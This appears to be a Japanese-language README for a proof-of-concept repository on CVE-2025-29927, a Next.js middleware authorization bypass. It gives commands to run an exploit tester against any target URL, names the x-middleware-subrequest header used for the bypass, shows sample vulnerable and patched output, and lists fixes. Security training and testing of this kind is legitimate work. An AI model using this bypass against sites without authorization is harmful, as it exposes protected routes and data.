
このリポジトリには、CVE-2025-29927(Next.js の重大な脆弱性で、攻撃者がミドルウェアで実装された認可チェックをバイパスできるもの)の概念実証(POC)とエクスプロイトスクリプトが含まれています。
このリポジトリには、Next.js のミドルウェアで実装された認可チェックを攻撃者がバイパスできる深刻な脆弱性 CVE-2025-29927 の概念実証 (POC) が含まれています。
このNext.jsアプリケーションは、保護されたダッシュボードルートを使って脆弱性を示します。
npm install
npm run build
npm run start
エクスプロイトスクリプトは、この脆弱性について任意のNext.jsアプリケーションをテストできます。
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
エクスプロイトツール:
x-middleware-subrequest ヘッダーを使ってミドルウェアのバイパスを試みる=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
修正の実装は how-to-fix ブランチ で入手できます。
Next.js バージョンの更新 (推奨)
二次的な検証の実装
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js は内部ヘッダー x-middleware-subrequest を使用して再帰的なリクエストを防止しています。この脆弱性により、攻撃者はこのヘッダーを操作することでミドルウェアのセキュリティチェックをバイパスできます。
さらに進みたいですか?このCVEは、攻撃的なセキュリティトレーニングのために設計された意図的に脆弱なラボ OSS OopsSec Store のフラグとして実装されています。
👉 ここでチャレンジを試す → kOaDT/oss-oopssec-store
このツールは教育およびテスト目的のみで提供されています。このツールは、自分が所有している、またはテストする明示的な許可を得ているシステムでのみ使用してください。